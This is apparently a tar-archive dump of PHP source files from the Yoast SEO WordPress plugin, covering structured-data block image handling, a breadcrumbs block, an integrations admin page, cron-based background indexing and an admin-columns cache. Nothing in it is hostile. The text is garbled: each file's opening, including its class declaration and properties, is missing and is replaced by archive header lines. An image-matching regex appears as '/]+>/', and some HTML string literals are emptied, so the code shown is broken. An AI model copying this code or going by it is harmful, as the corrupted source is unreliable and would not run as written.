private function optimize_images( $elements, $key, $content ) {
global $post;
if ( ! $post ) {
return $content;
}
$this->add_images_from_attributes_to_used_cache( $post->ID, $elements, $key );
// Then replace all images with optimized versions in the content.
$content = \preg_replace_callback(
'/]+>/',
function ( $matches ) {
\preg_match( '/src="([^"]+)"/', $matches[0], $src_matches );
if ( ! $src_matches || ! isset( $src_matches[1] ) ) {
return $matches[0];
}
$attachment_id = $this->attachment_src_to_id( $src_matches[1] );
if ( $attachment_id === 0 ) {
return $matches[0];
}
$image_size = 'full';
$image_style = [ 'style' => 'max-width: 100%; height: auto;' ];
\preg_match( '/style="[^"]*width:\s*(\d+)px[^"]*"/', $matches[0], $style_matches );
if ( $style_matches && isset( $style_matches[1] ) ) {
$width = (int) $style_matches[1];
$meta_data = \wp_get_attachment_metadata( $attachment_id );
if ( isset( $meta_data['height'] ) && isset( $meta_data['width'] ) && $meta_data['height'] > 0 && $meta_data['width'] > 0 ) {
$aspect_ratio = ( $meta_data['height'] / $meta_data['width'] );
$height = ( $width * $aspect_ratio );
$image_size = [ $width, $height ];
}
$image_style = '';
}
/**
* Filter: 'wpseo_structured_data_blocks_image_size' - Allows adjusting the image size in structured data blocks.
*
* @since 18.2
*
* @param string|int[] $image_size The image size. Accepts any registered image size name, or an array of width and height values in pixels (in that order).
* @param int $attachment_id The id of the attachment.
* @param string $attachment_src The attachment src.
*/
$image_size = \apply_filters(
'wpseo_structured_data_blocks_image_size',
$image_size,
$attachment_id,
$src_matches[1],
);
$image_html = \wp_get_attachment_image(
$attachment_id,
$image_size,
false,
$image_style,
);
if ( empty( $image_html ) ) {
return $matches[0];
}
return $image_html;
},
$content,
);
if ( ! $this->registered_shutdown_function ) {
\register_shutdown_function( [ $this, 'maybe_save_used_caches' ] );
$this->registered_shutdown_function = true;
}
return $content;
}
/**
* If the caches of structured data block images have been changed, saves them.
*
* @return void
*/
public function maybe_save_used_caches() {
foreach ( $this->used_caches as $post_id => $used_cache ) {
if ( isset( $this->caches[ $post_id ] ) && $used_cache === $this->caches[ $post_id ] ) {
continue;
}
\update_post_meta( $post_id, 'yoast-structured-data-blocks-images-cache', $used_cache );
}
}
/**
* Converts an attachment src to an attachment ID.
*
* @param string $src The attachment src.
*
* @return int The attachment ID. 0 if none was found.
*/
private function attachment_src_to_id( $src ) {
global $post;
if ( isset( $this->used_caches[ $post->ID ][ $src ] ) ) {
return $this->used_caches[ $post->ID ][ $src ];
}
$cache = $this->get_cache_for_post( $post->ID );
if ( isset( $cache[ $src ] ) ) {
$this->used_caches[ $post->ID ][ $src ] = $cache[ $src ];
return $cache[ $src ];
}
$this->used_caches[ $post->ID ][ $src ] = $this->image_helper->get_attachment_by_url( $src );
return $this->used_caches[ $post->ID ][ $src ];
}
/**
* Returns the cache from postmeta for a given post.
*
* @param int $post_id The post ID.
*
* @return array The images cache.
*/
private function get_cache_for_post( $post_id ) {
if ( isset( $this->caches[ $post_id ] ) ) {
return $this->caches[ $post_id ];
}
$cache = \get_post_meta( $post_id, 'yoast-structured-data-blocks-images-cache', true );
if ( ! $cache ) {
$cache = [];
}
$this->caches[ $post_id ] = $cache;
return $cache;
}
/**
* Adds any images that have their ID in the block attributes to the cache.
*
* @param int $post_id The post ID.
* @param array $elements The elements.
* @param string $key The key in the elements we should loop over.
*
* @return void
*/
private function add_images_from_attributes_to_used_cache( $post_id, $elements, $key ) {
// First, grab all image IDs from the attributes.
$images = [];
foreach ( $elements as $element ) {
// Check if the key "images" exists in any of the elements, grab the image IDs.
if ( isset( $element['images'] ) && \is_array( $element['images'] ) && \count( $element['images'] ) > 0 ) {
$image_data = $element['images'];
foreach ( $image_data as $image ) {
if ( ! isset( $image['type'] ) || $image['type'] !== 'img' ) {
continue;
}
if ( ! isset( $image['key'] ) || ! isset( $image['props']['src'] ) ) {
continue;
}
$images[ $image['props']['src'] ] = (int) $image['key'];
}
}
// Don't process the key again if we've already processed the "images" key.
if ( ! isset( $element[ $key ] ) || ! \is_array( $element[ $key ] ) || isset( $element['images'] ) ) {
continue;
}
if ( isset( $element[ $key ] ) && \is_array( $element[ $key ] ) ) {
foreach ( $element[ $key ] as $part ) {
if ( ! \is_array( $part ) || ! isset( $part['type'] ) || $part['type'] !== 'img' ) {
continue;
}
if ( ! isset( $part['key'] ) || ! isset( $part['props']['src'] ) ) {
continue;
}
$images[ $part['props']['src'] ] = (int) $part['key'];
}
}
}
if ( isset( $this->used_caches[ $post_id ] ) ) {
$this->used_caches[ $post_id ] = \array_merge( $this->used_caches[ $post_id ], $images );
}
else {
$this->used_caches[ $post_id ] = $images;
}
}
/* DEPRECATED METHODS */
/**
* Enqueue Gutenberg block assets for backend editor.
*
* @deprecated 22.7
* @codeCoverageIgnore
*
* @return void
*/
public function enqueue_block_editor_assets() {
\_deprecated_function( __METHOD__, 'Yoast SEO 22.7' );
}
}
integrations/blocks/breadcrumbs-block.php 0000644 00000006657 15207625453 0014650 0 ustar 00 context_memoizer = $context_memoizer;
$this->replace_vars = $replace_vars;
$this->helpers = $helpers;
$this->indexable_repository = $indexable_repository;
$this->base_path = \WPSEO_PATH . 'blocks/dynamic-blocks/';
}
/**
* Presents the breadcrumbs output for the current page or the available post_id.
*
* @param array $attributes The block attributes.
*
* @return string The block output.
*/
public function present( $attributes ) {
$presenter = new Breadcrumbs_Presenter();
// $this->context_memoizer->for_current_page only works on the frontend. To render the right breadcrumb in the
// editor, we need the repository.
if ( \wp_is_serving_rest_request() || \is_admin() ) {
$post_id = \get_the_ID();
if ( $post_id ) {
$indexable = $this->indexable_repository->find_by_id_and_type( $post_id, 'post' );
if ( ! $indexable ) {
$post = \get_post( $post_id );
$indexable = $this->indexable_repository->query()->create(
[
'object_id' => $post_id,
'object_type' => 'post',
'object_sub_type' => $post->post_type,
],
);
}
$context = $this->context_memoizer->get( $indexable, 'Post_Type' );
}
}
if ( ! isset( $context ) ) {
$context = $this->context_memoizer->for_current_page();
}
/** This filter is documented in src/integrations/front-end-integration.php */
$presentation = \apply_filters( 'wpseo_frontend_presentation', $context->presentation, $context );
$presenter->presentation = $presentation;
$presenter->replace_vars = $this->replace_vars;
$presenter->helpers = $this->helpers;
$class_name = 'yoast-breadcrumbs';
if ( ! empty( $attributes['className'] ) ) {
$class_name .= ' ' . \esc_attr( $attributes['className'] );
}
return '
' . $presenter->present() . '
';
}
}
integrations/blocks/block-editor-integration.php 0000644 00000002332 15207625453 0016150 0 ustar 00
*/
public static function get_conditionals() {
return [ Post_Conditional::class ];
}
/**
* Constructor.
*
* @param WPSEO_Admin_Asset_Manager $asset_manager The asset manager.
*/
public function __construct( WPSEO_Admin_Asset_Manager $asset_manager ) {
$this->asset_manager = $asset_manager;
}
/**
* Initializes the integration.
*
* This is the place to register hooks and filters.
*
* @return void
*/
public function register_hooks() {
\add_action( 'enqueue_block_assets', [ $this, 'enqueue' ] );
}
/**
* Enqueues the assets for the block editor.
*
* @return void
*/
public function enqueue() {
$this->asset_manager->enqueue_style( 'block-editor' );
}
}
integrations/blocks/block-categories.php 0000644 00000002134 15207625453 0014466 0 ustar 00 'yoast-structured-data-blocks',
'title' => \sprintf(
/* translators: %1$s expands to Yoast. */
\__( '%1$s Structured Data Blocks', 'wordpress-seo' ),
'Yoast',
),
];
$categories[] = [
'slug' => 'yoast-internal-linking-blocks',
'title' => \sprintf(
/* translators: %1$s expands to Yoast. */
\__( '%1$s Internal Linking Blocks', 'wordpress-seo' ),
'Yoast',
),
];
return $categories;
}
}
integrations/xmlrpc.php 0000644 00000002344 15207625453 0011304 0 ustar 00 get_post_type() );
}
/**
* This integration is only active when the child class's conditionals are met.
*
* @return string[] The conditionals.
*/
public static function get_conditionals() {
return [];
}
/**
* Returns the names of the post types to be excluded.
* To be used in the wpseo_indexable_excluded_post_types filter.
*
* @return array The names of the post types.
*/
abstract public function get_post_type();
}
integrations/admin/integrations-page.php 0000644 00000023404 15207625453 0014507 0 ustar 00 admin_asset_manager = $admin_asset_manager;
$this->options_helper = $options_helper;
$this->elementor_conditional = $elementor_conditional;
$this->jetpack_conditional = $jetpack_conditional;
$this->site_kit_integration_data = $site_kit_integration_data;
$this->site_kit_consent_management_endpoint = $site_kit_consent_management_endpoint;
$this->schema_configuration = $schema_configuration;
}
/**
* {@inheritDoc}
*/
public function register_hooks() {
\add_filter( 'wpseo_submenu_pages', [ $this, 'add_submenu_page' ], 10 );
\add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ], 11 );
}
/**
* Adds the integrations submenu page.
*
* @param array $submenu_pages The Yoast SEO submenu pages.
*
* @return array The filtered submenu pages.
*/
public function add_submenu_page( $submenu_pages ) {
$integrations_page = [
'wpseo_dashboard',
'',
\__( 'Integrations', 'wordpress-seo' ),
'wpseo_manage_options',
'wpseo_integrations',
[ $this, 'render_target' ],
];
\array_splice( $submenu_pages, 1, 0, [ $integrations_page ] );
return $submenu_pages;
}
/**
* Enqueue the integrations app.
*
* @return void
*/
public function enqueue_assets() {
// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Date is not processed or saved.
if ( ! isset( $_GET['page'] ) || $_GET['page'] !== 'wpseo_integrations' ) {
return;
}
$this->admin_asset_manager->enqueue_style( 'admin-css' );
$this->admin_asset_manager->enqueue_style( 'tailwind' );
$this->admin_asset_manager->enqueue_style( 'monorepo' );
$this->admin_asset_manager->enqueue_script( 'integrations-page' );
$acf_seo_file = 'acf-content-analysis-for-yoast-seo/yoast-acf-analysis.php';
$acf_seo_file_github = 'yoast-acf-analysis/yoast-acf-analysis.php';
$algolia_file = 'wp-search-with-algolia/algolia.php';
$old_algolia_file = 'search-by-algolia-instant-relevant-results/algolia.php';
$schema_api_integrations = $this->schema_configuration->get_schema_api_integrations();
$woocommerce_seo_installed = $schema_api_integrations['woocommerce']['isInstalled'];
$woocommerce_seo_active = $schema_api_integrations['woocommerce']['isActive'];
$woocommerce_active = $schema_api_integrations['woocommerce']['isPrerequisiteActive'];
$woocommerce_seo_activate_url = $schema_api_integrations['woocommerce']['activationLink'];
$edd_active = $schema_api_integrations['edd']['isActive'];
$tec_active = $schema_api_integrations['tec']['isActive'];
$ssp_active = $schema_api_integrations['ssp']['isActive'];
$wp_recipe_maker_active = $schema_api_integrations['wp-recipe-maker']['isActive'];
$acf_seo_installed = \file_exists( \WP_PLUGIN_DIR . '/' . $acf_seo_file );
$acf_seo_github_installed = \file_exists( \WP_PLUGIN_DIR . '/' . $acf_seo_file_github );
$acf_seo_active = \is_plugin_active( $acf_seo_file );
$acf_seo_github_active = \is_plugin_active( $acf_seo_file_github );
$acf_active = \class_exists( 'acf' );
$algolia_active = \is_plugin_active( $algolia_file );
$old_algolia_active = \is_plugin_active( $old_algolia_file );
$mastodon_active = $this->is_mastodon_active();
if ( $acf_seo_installed ) {
$acf_seo_activate_url = \wp_nonce_url(
\self_admin_url( 'plugins.php?action=activate&plugin=' . $acf_seo_file ),
'activate-plugin_' . $acf_seo_file,
);
}
else {
$acf_seo_activate_url = \wp_nonce_url(
\self_admin_url( 'plugins.php?action=activate&plugin=' . $acf_seo_file_github ),
'activate-plugin_' . $acf_seo_file_github,
);
}
$acf_seo_install_url = \wp_nonce_url(
\self_admin_url( 'update.php?action=install-plugin&plugin=acf-content-analysis-for-yoast-seo' ),
'install-plugin_acf-content-analysis-for-yoast-seo',
);
$this->admin_asset_manager->localize_script(
'integrations-page',
'wpseoIntegrationsData',
[
'semrush_integration_active' => $this->options_helper->get( 'semrush_integration_active', true ),
'allow_semrush_integration' => $this->options_helper->get( 'allow_semrush_integration_active', true ),
'algolia_integration_active' => $this->options_helper->get( 'algolia_integration_active', false ),
'allow_algolia_integration' => $this->options_helper->get( 'allow_algolia_integration_active', true ),
'wincher_integration_active' => $this->options_helper->get( 'wincher_integration_active', true ),
'allow_wincher_integration' => null,
'elementor_integration_active' => $this->elementor_conditional->is_met(),
'jetpack_integration_active' => $this->jetpack_conditional->is_met(),
'woocommerce_seo_installed' => $woocommerce_seo_installed,
'woocommerce_seo_active' => $woocommerce_seo_active,
'woocommerce_active' => $woocommerce_active,
'woocommerce_seo_activate_url' => $woocommerce_seo_activate_url,
'acf_seo_installed' => $acf_seo_installed || $acf_seo_github_installed,
'acf_seo_active' => $acf_seo_active || $acf_seo_github_active,
'acf_active' => $acf_active,
'acf_seo_activate_url' => $acf_seo_activate_url,
'acf_seo_install_url' => $acf_seo_install_url,
'algolia_active' => $algolia_active || $old_algolia_active,
'edd_integration_active' => $edd_active,
'ssp_integration_active' => $ssp_active,
'tec_integration_active' => $tec_active,
'wp-recipe-maker_integration_active' => $wp_recipe_maker_active,
'mastodon_active' => $mastodon_active,
'is_multisite' => \is_multisite(),
'plugin_url' => \plugins_url( '', \WPSEO_FILE ),
'site_kit_configuration' => $this->site_kit_integration_data->to_array(),
'site_kit_consent_management_url' => $this->site_kit_consent_management_endpoint->get_url(),
'schema_framework_enabled' => $this->options_helper->get( 'enable_schema', true ) === true && ! $this->schema_configuration->is_schema_disabled_programmatically(),
],
);
}
/**
* Renders the target for the React to mount to.
*
* @return void
*/
public function render_target() {
?>
options_helper = $options_helper;
$this->indexable_helper = $indexable_helper;
}
/**
* Registers the action to register a cleanup routine run after the plugin is activated.
*
* @return void
*/
public function register_hooks() {
\add_action( 'wpseo_activate', [ $this, 'register_cleanup_routine' ], 11 );
}
/**
* Registers a run of the cleanup routine if this has not happened yet.
*
* @return void
*/
public function register_cleanup_routine() {
if ( ! $this->indexable_helper->should_index_indexables() ) {
return;
}
$first_activated_on = $this->options_helper->get( 'first_activated_on', false );
if ( ! $first_activated_on || \time() > ( $first_activated_on + ( \MINUTE_IN_SECONDS * 5 ) ) ) {
if ( ! \wp_next_scheduled( Cleanup_Integration::START_HOOK ) ) {
\wp_schedule_single_event( ( \time() + \DAY_IN_SECONDS ), Cleanup_Integration::START_HOOK );
}
}
}
}
integrations/admin/fix-news-dependencies-integration.php 0000644 00000003065 15207625454 0017576 0 ustar 00 registered['wpseo-news-editor'] ) ) {
return;
}
$is_block_editor = WP_Screen::get()->is_block_editor();
$post_edit_handle = 'post-edit';
if ( ! $is_block_editor ) {
$post_edit_handle = 'post-edit-classic';
}
$scripts->registered['wpseo-news-editor']->deps[] = WPSEO_Admin_Asset_Manager::PREFIX . $post_edit_handle;
}
}
integrations/admin/installation-success-integration.php 0000644 00000010664 15207625454 0017564 0 ustar 00 options_helper = $options_helper;
$this->product_helper = $product_helper;
$this->shortlinker = $shortlinker;
}
/**
* {@inheritDoc}
*/
public function register_hooks() {
\add_filter( 'admin_menu', [ $this, 'add_submenu_page' ], 9 );
\add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ] );
\add_action( 'admin_init', [ $this, 'maybe_redirect' ] );
}
/**
* Redirects to the installation success page if an installation has just occurred.
*
* @return void
*/
public function maybe_redirect() {
if ( \defined( 'DOING_AJAX' ) && \DOING_AJAX ) {
return;
}
if ( ! $this->options_helper->get( 'should_redirect_after_install_free', false ) ) {
return;
}
$this->options_helper->set( 'should_redirect_after_install_free', false );
if ( ! empty( $this->options_helper->get( 'activation_redirect_timestamp_free', 0 ) ) ) {
return;
}
$this->options_helper->set( 'activation_redirect_timestamp_free', \time() );
// phpcs:ignore WordPress.Security.NonceVerification -- This is not a form.
if ( isset( $_REQUEST['activate-multi'] ) && $_REQUEST['activate-multi'] === 'true' ) {
return;
}
if ( $this->product_helper->is_premium() ) {
return;
}
if ( \is_network_admin() || \is_plugin_active_for_network( \WPSEO_BASENAME ) ) {
return;
}
\wp_safe_redirect( \admin_url( 'admin.php?page=wpseo_installation_successful_free' ), 302, 'Yoast SEO' );
$this->terminate_execution();
}
/**
* Adds the installation success submenu page.
*
* @param array $submenu_pages The Yoast SEO submenu pages.
*
* @return array the filtered submenu pages.
*/
public function add_submenu_page( $submenu_pages ) {
\add_submenu_page(
'',
\__( 'Installation Successful', 'wordpress-seo' ),
'',
'manage_options',
'wpseo_installation_successful_free',
[ $this, 'render_page' ],
);
return $submenu_pages;
}
/**
* Enqueue assets on the Installation success page.
*
* @return void
*/
public function enqueue_assets() {
// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Date is not processed or saved.
if ( ! isset( $_GET['page'] ) || $_GET['page'] !== 'wpseo_installation_successful_free' ) {
return;
}
$asset_manager = new WPSEO_Admin_Asset_Manager();
$asset_manager->enqueue_script( 'installation-success' );
$asset_manager->enqueue_style( 'installation-success' );
$asset_manager->enqueue_style( 'monorepo' );
$ftc_url = \esc_url( \admin_url( 'admin.php?page=wpseo_dashboard#/first-time-configuration' ) );
$asset_manager->localize_script(
'installation-success',
'wpseoInstallationSuccess',
[
'pluginUrl' => \esc_url( \plugins_url( '', \WPSEO_FILE ) ),
'firstTimeConfigurationUrl' => $ftc_url,
'dashboardUrl' => \esc_url( \admin_url( 'admin.php?page=wpseo_dashboard' ) ),
'explorePremiumUrl' => $this->shortlinker->build( 'https://yoa.st/ftc-premium-link' ),
],
);
}
/**
* Renders the installation success page.
*
* @return void
*/
public function render_page() {
echo '';
}
/**
* Wrap the `exit` function to make unit testing easier.
*
* @return void
*/
public function terminate_execution() {
exit();
}
}
integrations/admin/background-indexing-integration.php 0000644 00000025403 15207625454 0017334 0 ustar 00 indexing_actions = $indexing_actions;
$this->complete_indexation_action = $complete_indexation_action;
$this->indexing_helper = $indexing_helper;
$this->indexable_helper = $indexable_helper;
$this->yoast_admin_and_dashboard_conditional = $yoast_admin_and_dashboard_conditional;
$this->get_request_conditional = $get_request_conditional;
$this->wp_cron_enabled_conditional = $wp_cron_enabled_conditional;
}
/**
* Returns the conditionals based on which this integration should be active.
*
* @return array The array of conditionals.
*/
public static function get_conditionals() {
return [
Migrations_Conditional::class,
];
}
/**
* Register hooks.
*
* @return void
*/
public function register_hooks() {
\add_action( 'admin_init', [ $this, 'register_shutdown_indexing' ] );
\add_action( 'wpseo_indexable_index_batch', [ $this, 'index' ] );
// phpcs:ignore WordPress.WP.CronInterval -- The sniff doesn't understand values with parentheses. https://github.com/WordPress/WordPress-Coding-Standards/issues/2025
\add_filter( 'cron_schedules', [ $this, 'add_cron_schedule' ] );
\add_action( 'admin_init', [ $this, 'schedule_cron_indexing' ], 11 );
$this->add_limit_filters();
}
/**
* Adds the filters that change the indexing limits.
*
* @return void
*/
public function add_limit_filters() {
\add_filter( 'wpseo_post_indexation_limit', [ $this, 'throttle_cron_indexing' ] );
\add_filter( 'wpseo_post_type_archive_indexation_limit', [ $this, 'throttle_cron_indexing' ] );
\add_filter( 'wpseo_term_indexation_limit', [ $this, 'throttle_cron_indexing' ] );
\add_filter( 'wpseo_prominent_words_indexation_limit', [ $this, 'throttle_cron_indexing' ] );
\add_filter( 'wpseo_link_indexing_limit', [ $this, 'throttle_cron_link_indexing' ] );
}
/**
* Enqueues the required scripts.
*
* @return void
*/
public function register_shutdown_indexing() {
if ( $this->should_index_on_shutdown( $this->get_shutdown_limit() ) ) {
$this->register_shutdown_function( 'index' );
}
}
/**
* Run a single indexing pass of each indexing action. Intended for use as a shutdown function.
*
* @return void
*/
public function index() {
if ( \wp_doing_cron() && ! $this->should_index_on_cron() ) {
$this->unschedule_cron_indexing();
return;
}
foreach ( $this->indexing_actions as $indexation_action ) {
$indexation_action->index();
}
if ( $this->indexing_helper->get_limited_filtered_unindexed_count_background( 1 ) === 0 ) {
// We set this as complete, even though prominent words might not be complete. But that's the way we always treated that.
$this->complete_indexation_action->complete();
}
}
/**
* Adds the 'Every fifteen minutes' cron schedule to WP-Cron.
*
* @param array $schedules The existing schedules.
*
* @return array The schedules containing the fifteen_minutes schedule.
*/
public function add_cron_schedule( $schedules ) {
if ( ! \is_array( $schedules ) ) {
return $schedules;
}
$schedules['fifteen_minutes'] = [
'interval' => ( 15 * \MINUTE_IN_SECONDS ),
'display' => \esc_html__( 'Every fifteen minutes', 'wordpress-seo' ),
];
return $schedules;
}
/**
* Schedule background indexing every 15 minutes if the index isn't already up to date.
*
* @return void
*/
public function schedule_cron_indexing() {
/**
* Filter: 'wpseo_unindexed_count_queries_ran' - Informs whether the expensive unindexed count queries have been ran already.
*
* @internal
*
* @param bool $have_queries_ran
*/
$have_queries_ran = \apply_filters( 'wpseo_unindexed_count_queries_ran', false );
if ( ( ! $this->yoast_admin_and_dashboard_conditional->is_met() || ! $this->get_request_conditional->is_met() ) && ! $have_queries_ran ) {
return;
}
if ( ! \wp_next_scheduled( 'wpseo_indexable_index_batch' ) && $this->should_index_on_cron() ) {
\wp_schedule_event( ( \time() + \HOUR_IN_SECONDS ), 'fifteen_minutes', 'wpseo_indexable_index_batch' );
}
}
/**
* Limit cron indexing to 15 indexables per batch instead of 25.
*
* @param int $indexation_limit The current limit (filter input).
*
* @return int The new batch limit.
*/
public function throttle_cron_indexing( $indexation_limit ) {
if ( \wp_doing_cron() ) {
/**
* Filter: 'wpseo_cron_indexing_limit_size' - Adds the possibility to limit the number of items that are indexed when in cron action.
*
* @param int $limit Maximum number of indexables to be indexed per indexing action.
*/
return \apply_filters( 'wpseo_cron_indexing_limit_size', 15 );
}
return $indexation_limit;
}
/**
* Limit cron indexing to 3 links per batch instead of 5.
*
* @param int $link_indexation_limit The current limit (filter input).
*
* @return int The new batch limit.
*/
public function throttle_cron_link_indexing( $link_indexation_limit ) {
if ( \wp_doing_cron() ) {
/**
* Filter: 'wpseo_cron_link_indexing_limit_size' - Adds the possibility to limit the number of links that are indexed when in cron action.
*
* @param int $limit Maximum number of link indexables to be indexed per link indexing action.
*/
return \apply_filters( 'wpseo_cron_link_indexing_limit_size', 3 );
}
return $link_indexation_limit;
}
/**
* Determine whether cron indexation should be performed.
*
* @return bool Should cron indexation be performed.
*/
protected function should_index_on_cron() {
if ( ! $this->indexable_helper->should_index_indexables() ) {
return false;
}
// The filter supersedes everything when preventing cron indexation.
if ( \apply_filters( 'Yoast\WP\SEO\enable_cron_indexing', true ) !== true ) {
return false;
}
return $this->indexing_helper->get_limited_filtered_unindexed_count_background( 1 ) > 0;
}
/**
* Determine whether background indexation should be performed.
*
* @param int $shutdown_limit The shutdown limit used to determine whether indexation should be run.
*
* @return bool Should background indexation be performed.
*/
protected function should_index_on_shutdown( $shutdown_limit ) {
if ( ! $this->yoast_admin_and_dashboard_conditional->is_met() || ! $this->get_request_conditional->is_met() ) {
return false;
}
if ( ! $this->indexable_helper->should_index_indexables() ) {
return false;
}
if ( $this->wp_cron_enabled_conditional->is_met() ) {
return false;
}
$total_unindexed = $this->indexing_helper->get_limited_filtered_unindexed_count_background( $shutdown_limit );
if ( $total_unindexed === 0 || $total_unindexed > $shutdown_limit ) {
return false;
}
return true;
}
/**
* Retrieves the shutdown limit. This limit is the amount of indexables that is generated in the background.
*
* @return int The shutdown limit.
*/
protected function get_shutdown_limit() {
/**
* Filter 'wpseo_shutdown_indexation_limit' - Allow filtering the number of objects that can be indexed during shutdown.
*
* @param int $limit The maximum number of objects indexed.
*/
return \apply_filters( 'wpseo_shutdown_indexation_limit', 25 );
}
/**
* Removes the cron indexing job from the scheduled event queue.
*
* @return void
*/
protected function unschedule_cron_indexing() {
$scheduled = \wp_next_scheduled( 'wpseo_indexable_index_batch' );
if ( $scheduled ) {
\wp_unschedule_event( $scheduled, 'wpseo_indexable_index_batch' );
}
}
/**
* Registers a method to be executed on shutdown.
* This wrapper mostly exists for making this class more unittestable.
*
* @param string $method_name The name of the method on the current instance to register.
*
* @return void
*/
protected function register_shutdown_function( $method_name ) {
\register_shutdown_function( [ $this, $method_name ] );
}
}
integrations/admin/redirections-tools-page.php 0000644 00000003070 15207625454 0015627 0 ustar 00
*/
public static function get_conditionals() {
return [
Admin_Conditional::class,
];
}
/**
* Constructor.
*
* @param Redirect_Helper $redirect_helper The redirect helper.
*/
public function __construct(
Redirect_Helper $redirect_helper
) {
$this->redirect_helper = $redirect_helper;
}
/**
* Registers all hooks to WordPress.
*
* @return void
*/
public function register_hooks() {
\add_action( 'admin_menu', [ $this, 'register_admin_menu' ] );
}
/**
* Registers the admin menu.
*
* @return void
*/
public function register_admin_menu() {
$page_title = \sprintf(
/* translators: %s: expands to Yoast */
\esc_html__( '%s Redirects', 'wordpress-seo' ),
'Yoast',
);
\add_management_page(
$page_title,
$page_title,
'edit_others_posts',
'wpseo_redirects_tools',
[ $this, 'show_redirects_page' ],
);
}
/**
* The redirects tools page render function, noop.
*
* @return void
*/
public function show_redirects_page() {
// Do nothing and let the redirect happen from the redirect integration.
}
}
integrations/admin/cron-integration.php 0000644 00000001753 15207625454 0014355 0 ustar 00 date_helper = $date_helper;
}
/**
* {@inheritDoc}
*/
public function register_hooks() {
if ( ! \wp_next_scheduled( Indexing_Notification_Integration::NOTIFICATION_ID ) ) {
\wp_schedule_event(
$this->date_helper->current_time(),
'daily',
Indexing_Notification_Integration::NOTIFICATION_ID,
);
}
}
}
integrations/admin/admin-columns-cache-integration.php 0000644 00000017142 15207625454 0017222 0 ustar 00 indexable_repository = $indexable_repository;
}
/**
* Registers the appropriate actions and filters to fill the cache with
* indexables on admin pages.
*
* This cache is used in showing the Yoast SEO columns on the posts overview
* page (e.g. keyword score, incoming link count, etc.)
*
* @return void
*/
public function register_hooks() {
// Hook into tablenav to calculate links and linked.
\add_action( 'manage_posts_extra_tablenav', [ $this, 'maybe_fill_cache' ] );
}
/**
* Makes sure we calculate all values in one query by filling our cache beforehand.
*
* @param string $target Extra table navigation location which is triggered.
*
* @return void
*/
public function maybe_fill_cache( $target ) {
if ( $target === 'top' ) {
$this->fill_cache();
}
}
/**
* Fills the cache of indexables for all known post IDs.
*
* @return void
*/
public function fill_cache() {
global $wp_query;
// No need to continue building a cache if the main query did not return anything to cache.
if ( empty( $wp_query->posts ) ) {
return;
}
$posts = $wp_query->posts;
$post_ids = [];
// Post lists return a list of objects.
if ( isset( $posts[0] ) && \is_a( $posts[0], 'WP_Post' ) ) {
$post_ids = \wp_list_pluck( $posts, 'ID' );
}
elseif ( isset( $posts[0] ) && \is_object( $posts[0] ) ) {
$post_ids = $this->get_current_page_page_ids( $posts );
}
elseif ( ! empty( $posts ) ) {
// Page list returns an array of post IDs.
$post_ids = \array_keys( $posts );
}
if ( empty( $post_ids ) ) {
return;
}
if ( isset( $posts[0] ) && ! \is_a( $posts[0], WP_Post::class ) ) {
// Prime the post caches as core would to avoid duplicate queries.
// This needs to be done as this executes before core does.
\_prime_post_caches( $post_ids );
}
$indexables = $this->indexable_repository->find_by_multiple_ids_and_type( $post_ids, 'post', false );
foreach ( $indexables as $indexable ) {
if ( $indexable instanceof Indexable ) {
$this->indexable_cache[ $indexable->object_id ] = $indexable;
}
}
}
/**
* Returns the indexable for a given post ID.
*
* @param int $post_id The post ID.
*
* @return Indexable|false The indexable. False if none could be found.
*/
public function get_indexable( $post_id ) {
if ( ! \array_key_exists( $post_id, $this->indexable_cache ) ) {
$this->indexable_cache[ $post_id ] = $this->indexable_repository->find_by_id_and_type( $post_id, 'post' );
}
return $this->indexable_cache[ $post_id ];
}
/**
* Gets all the page IDs set to be shown on the current page.
* This is copied over with some changes from WP_Posts_List_Table::_display_rows_hierarchical.
*
* @param array $pages The pages, each containing an ID and post_parent.
*
* @return array The IDs of all pages shown on the current page.
*/
private function get_current_page_page_ids( $pages ) {
global $per_page;
$pagenum = isset( $_REQUEST['paged'] ) ? \absint( $_REQUEST['paged'] ) : 0;
$pagenum = \max( 1, $pagenum );
/*
* Arrange pages into two parts: top level pages and children_pages
* children_pages is two dimensional array, eg.
* children_pages[10][] contains all sub-pages whose parent is 10.
* It only takes O( N ) to arrange this and it takes O( 1 ) for subsequent lookup operations
* If searching, ignore hierarchy and treat everything as top level
*/
if ( empty( $_REQUEST['s'] ) ) {
$top_level_pages = [];
$children_pages = [];
$pages_map = [];
foreach ( $pages as $page ) {
// Catch and repair bad pages.
if ( $page->post_parent === $page->ID ) {
$page->post_parent = 0;
}
if ( $page->post_parent === 0 ) {
$top_level_pages[] = $page;
}
else {
$children_pages[ $page->post_parent ][] = $page;
}
$pages_map[ $page->ID ] = $page;
}
$pages = $top_level_pages;
}
$count = 0;
$start = ( ( $pagenum - 1 ) * $per_page );
$end = ( $start + $per_page );
$to_display = [];
foreach ( $pages as $page ) {
if ( $count >= $end ) {
break;
}
if ( $count >= $start ) {
$to_display[] = $page->ID;
}
++$count;
$this->get_child_page_ids( $children_pages, $count, $page->ID, $start, $end, $to_display, $pages_map );
}
// If it is the last pagenum and there are orphaned pages, display them with paging as well.
if ( isset( $children_pages ) && $count < $end ) {
foreach ( $children_pages as $orphans ) {
foreach ( $orphans as $op ) {
if ( $count >= $end ) {
break;
}
if ( $count >= $start ) {
$to_display[] = $op->ID;
}
++$count;
}
}
}
return $to_display;
}
/**
* Adds all child pages due to be shown on the current page to the $to_display array.
* Copied over with some changes from WP_Posts_List_Table::_page_rows.
*
* @param array $children_pages The full map of child pages.
* @param int $count The number of pages already processed.
* @param int $parent_id The id of the parent that's currently being processed.
* @param int $start The number at which the current overview starts.
* @param int $end The number at which the current overview ends.
* @param int $to_display The page IDs to be shown.
* @param int $pages_map A map of page ID to an object with ID and post_parent.
*
* @return void
*/
private function get_child_page_ids( &$children_pages, &$count, $parent_id, $start, $end, &$to_display, &$pages_map ) {
if ( ! isset( $children_pages[ $parent_id ] ) ) {
return;
}
foreach ( $children_pages[ $parent_id ] as $page ) {
if ( $count >= $end ) {
break;
}
// If the page starts in a subtree, print the parents.
if ( $count === $start && $page->post_parent > 0 ) {
$my_parents = [];
$my_parent = $page->post_parent;
while ( $my_parent ) {
// Get the ID from the list or the attribute if my_parent is an object.
$parent_id = $my_parent;
if ( \is_object( $my_parent ) ) {
$parent_id = $my_parent->ID;
}
$my_parent = $pages_map[ $parent_id ];
$my_parents[] = $my_parent;
if ( ! $my_parent->post_parent ) {
break;
}
